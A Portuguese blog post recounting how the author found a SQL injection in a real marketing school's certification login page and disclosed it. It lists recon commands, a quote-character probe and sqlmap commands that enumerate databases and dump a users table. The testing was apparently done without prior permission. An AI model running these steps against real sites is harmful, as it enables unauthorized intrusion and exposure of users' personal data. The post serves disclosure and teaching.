De um tweet a SQL Injection
Published: 2023-07-16 23:02:38

Em uma discussão no Twitter sobre “dificuldades na programação”, recebi a indicação do amigo twitteiro @lincolixavier sobre a escola de Marketing Digital https://onovomercado.com.br/. ([tweet](https://twitter.com/lincolixavier/status/1678561725287677952?s=20))


![tweet motivador](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nw9c3nieqgs8yj6upksn.png)
Por pura curiosidade, resolvi dar uma olhada na segurança do serviço. Vai que…

>**Obs:** Normalmente, testes de segurança tem 3 fases: reconhecimento (recon), exploração (exploit), e report. Vou tentar seguir essa estrutura também aqui nesse post.

### Recon

Fiz o meu reconhecimento básico com as ferramentas Amass, HTTPX e Nuclei. Que é algo como:

```jsx
amass enum -d onovomercado.com -o amass.txt
cat amass.txt | httpx --silent > httpx.txt
nuclei -l httpx.txt -eid http-missing-security-headers
```

Após fuçar um pouco, cheguei nesse domínio aqui [https://certificacao.onovomercado.com/](https://certificacao.onovomercado.com) que só mostrava um 403 Forbidden.

![print de certificacao.onovomercado.com](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fyacmg7qhhipcz5k269e.png)


Sem mt pretensão, pesquisei no Google com o dork `site:certificacao.onovomercado.com` e pra minha surpresa tive alguns resultados.

![Google dorking result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gwo7kh7qwylu1zocxe1a.png)
O resultado com o título "Login - Prova de Certificação da Formação” logo chamou minha atençao 👀

Ele tem essa carinha aqui.

![Login - Prova de Certificação da Formação](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iclv084qb6bmrb0izjdq.png)

### Exploit

Por pura inocência, chequei se os campos eram vulneráveis a SQL Injection da forma mais simples possível. Abir o Burp Suite e repeti a requisição de login adicionando aspas no final do valor 🤣

```jsx
email@email.com'
```

E XABLAU


![response to the attack](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kzj9xis54jj6603bifr7.png)



A partir daí, foi só felicidade

Abri o SQLMap e rodei 

`sqlmap -r request.txt` (que confirmou o SQLInjection)

`sqlmap -r request.txt --dbs` (pra enumerar os databases)

`sqlmap -r request.txt --dbs --tables` (pra enumerar as tabelas)

`sqlmap -r request.txt -D <NOME TABELA> -T usuarios --dump` (pra ver o conteúdo da tabela 🌚)

O que levou basicamente ao conteúdo desse tweet

https://twitter.com/sushicomabacate/status/1678770510610718721?s=20

### Report

No dia seguinte 11/07, enviei um email para o suporte avisando sobre os meus achados

![report 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ds91jydigducqjue7j8e.png)

E pra minha surpresa, algumas horas depois fui respondido por uma pessoa da equipe ténica que se mostrou super solícita para resolver a vulnerabilidade.


![report 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7rtuzv8kdklbkiloy4ky.png)

Depois disso, passei mais detalhes técnicos pra pessoa que me respondeu reconhecendo a gravidade da vulnerabilidade e informando que seria feito o fix o mais rápido possível.

Hoje, 16/07, recebi um email da pessoa informando que haviam aplicado o fix e agradecendo pelo report ❤️.

Deixo aqui os parabéns ao time de engenharia do @onovomercado pela rapidez e seriedade que tiveram com o tratamento da vulnerabilidade.

## Conclusão

Dessa vez a conclusão da vulnerabilidade foi bem mais agradável do que da última vez https://dev.to/bolhasec/de-um-email-de-newsletter-a-um-account-takeover-il5.
No entanto, reforço que infelizmente esse caso é uma exceção. A resposta mais comum para casos assim é apenas o silêncio e o vácuo nos emails 😆.

Espero que esse report incentive as pessoas a fazerem mais responsible disclosures de vulnerabilidades e dê um panorama de como funciona +/-. Foi uma investigação divertida pra mim e a comunicação com time de engenharia do alvo foi super legal.


>*Update 17/07/23*: pessoal d'O Novo Mercado mandou um email oferecendo como agradecimento e gesto de boa fé um box de livros, que evidentemente aceitei❤️